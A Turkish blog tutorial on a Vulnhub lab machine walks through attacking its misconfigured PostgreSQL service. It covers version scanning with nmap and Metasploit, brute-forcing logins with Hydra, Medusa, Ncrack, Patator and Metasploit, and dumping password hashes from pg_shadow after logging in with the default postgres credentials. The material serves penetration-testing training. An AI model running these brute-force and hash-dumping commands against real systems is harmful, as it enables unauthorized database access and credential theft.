Güvenilir Olarak Yapılandırılmamış PostgreSQL Servisi Üzerinden Bilgi Toplama İşlemleri

0
125
views
Veritabanı sızma testleri sırasında tespit edilen zafiyetlerin istismarı ile hedef sistemlerden bir takım bilgiler elde edilebilir. Bu yazıda, Typhoon: 1.02 sanal makinesi üzerinde güvenilir olarak yapılandırılmayan PostgreSQL servisi üzerinde bilgi toplama işlemleri gerçekleştirilmesi incelenecektir.

Yazıda kullanılan Typhoon: 1.02 sanal makinesi Vulnhub sitesinden indirilebilir.

https://www.vulnhub.com/entry/typhoon-102,267/

 

PostgreSQL başta Linux olmak üzere, Windows ve MacOS gibi işletim sistemlerinde de çalışan açık kaynak kodlu ilişkisel veritabanıdır. Bu yazı kapsamında PostgreSQL veritabanı servisinin sürümünün elde edilmesi, veritabanı kimlik bilgilerinin tespit edilmesi ve veritabanı üzerinde kullanılabilecek temel komutlar incelenecektir.

 

1) PostgreSQL Veritabanının Sürüm Bilgisini Elde Etme

IP adresi 192.168.245.132 olan hedef sanal makinedeki PostgreSQL servisinin tespiti için nmap aracı kullanılabilir.

nmap -Pn -n –open -sV -p 5432 192.168.245.132

 

Tarama sonucunda PostgreSQL veritabanının 9.3.3 ile 9.3.5 arasındaki bir sürümde olduğu görülmektedir.

Benzer bilgi toplama işlemi MSF postgres_version auxiliary modülü kullanılarak da gerçekleştirilebilir.

use auxiliary/scanner/postgres/postgres_version
show options
set RHOSTS 192.168.245.132
run

 

Not: Bu modül yanlış kimlik bilgileri ile çalıştırıldığında sürüm bilgisi elde edilemeyebilmektedir.

 

2) PostgreSQL Veritabanına Ait Kullanıcıların Kimlik Bilgilerinin Tespiti

Sözlük saldırısı gerçekleştirerek veritabanı kullanıcılarına ait kimlik bilgilerini tespit etmek için aşağıdaki sözlükler kullanılabilir.

  • /usr/share/metasploit-framework/data/wordlists/postgres_default_user.txt
  • /usr/share/metasploit-framework/data/wordlists/postgres_default_pass.txt

 

Kimlik bilgileri Hydra aracı ile tespit edilebilir.

hydra -L Kullanicilar.txt -P Parolalar.txt postgres://192.168.245.132:5432

 

Kimlik bilgileri Medusa aracı ile tespit edilebilir.

medusa -h 192.168.245.132 -U Kullanicilar.txt -P Parolalar.txt -M postgres -n 5432 -v 4

 

Kimlik bilgileri Ncrack aracı ile tespit edilebilir.

ncrack -v -U Kullanicilar.txt -P Parolalar.txt 192.168.245.132:5432

 

Kimlik bilgileri Patator aracı ile tespit edilebilir.

patator pgsql_login host=192.168.245.132 user=FILE0 0=Kullanicilar.txt password=FILE1 1=Parolalar.txt -x ignore:fgrep=’password authentication failed for user’ -x ignore:fgrep=’fe_sendauth: no password supplied’

 

Kimlik bilgileri MSF postgres_login auxiliary modülü ile tespit edilebilir.

use auxiliary/scanner/postgres/postgres_login
set USER_FILE /root/Kullanicilar.txt
set PASS_FILE /root/Parolalar.txt
set RHOSTS 192.168.245.132
set VERBOSE false
run

 

Sonuç olarak aşağıdaki kimlik bilgileri elde edilmiştir.

  • Kullanıcı Adı: postgres
  • Parola: postgres

 

3) Veritabanı Üzerinde İşlem Gerçekleştirme

Veritabanına bağlantı kurmak için psql komut satırı aracı kullanılabilir. Bu komut satırında, yetkiler dahilinde işlemler gerçekleştirilebilir. Örneğin;

  • Veritabanları listelenebilir
  • Veritabanı rolleri listelenebilir
  • Mevcut veritabanında tablo oluşturulabilir. (Yeni bir veritabanı da oluşturulabilir)
  • Veritabanındaki tablolar listelenebilir
  • Veritabanları arasında geçişler gerçekleştirilebilir

Örnek komutlar şu şekildedir.

psql -h 192.168.245.132 -U postgres
\l
\du
CREATE TABLE Personel (Sicil INTEGER PRIMARY KEY, Adi VARCHAR, Soyadi VARCHAR);
\dt
\c template1
\dt

 

Tablo seviyesinde işlemler gerçekleştirilebilir.

INSERT INTO Personel(Sicil, Adi, Soyadi) VALUES (2023,’Siber’,’Portal’);
select * from Personel;
drop table Personel;
SELECT version();

 

Veritabanı komut satırına düşmeden otomatik olarak sorgulama yapmak için pg_dump aracı kullanılabilir.

\c template1
CREATE TABLE Personel2 (Sicil INTEGER PRIMARY KEY, Adi VARCHAR, Soyadi VARCHAR);
CREATE TABLE
INSERT INTO Personel2(Sicil, Adi, Soyadi) VALUES (2023,’Siber-2′,’Portal-2′);
pg_dump –host=192.168.245.132 –username=postgres –password –dbname=template1 –table=’Personel’ -f KomutCiktisi.txt

 

Benzer olarak MSF postgres_sql auxiliary modülü ile de kullanıcı yetkisi dahilinde veritabanı üzerinde komut çalıştırılabilir.

use auxiliary/admin/postgres/postgres_sql
set RHOSTS 192.168.245.132
run

 

Kullanıcı yetkisinin bulunması durumunda MSF postgres_hashdump auxiliary modülü ile veritabanı kullanıcılarının parola özetleri elde edilebilir.

use auxiliary/scanner/postgres/postgres_hashdump
show options
set RHOSTS 192.168.245.132
run

 

Aynı sonuç pg_shadow tablosunun okunması ile de elde edilebilir.

select usename, passwd from pg_shadow;

 

 

Kaynaklar:

http://www.debugger.wiki/article/html/1557507605330912 VEYA https://www.anquanke.com/post/id/168877
https://github.com/muratyesiltepe/typhoon-vm/blob/master/writeup.md
https://wiki.pausiber.xyz/typhoon/

6 Ways to Hack PostgresSQL Login


https://medium.com/@cryptocracker99/a-penetration-testers-guide-to-postgresql-d78954921ee9

 

 

CEVAP VER

Yorumunuzu giriniz
İsminizi giriniz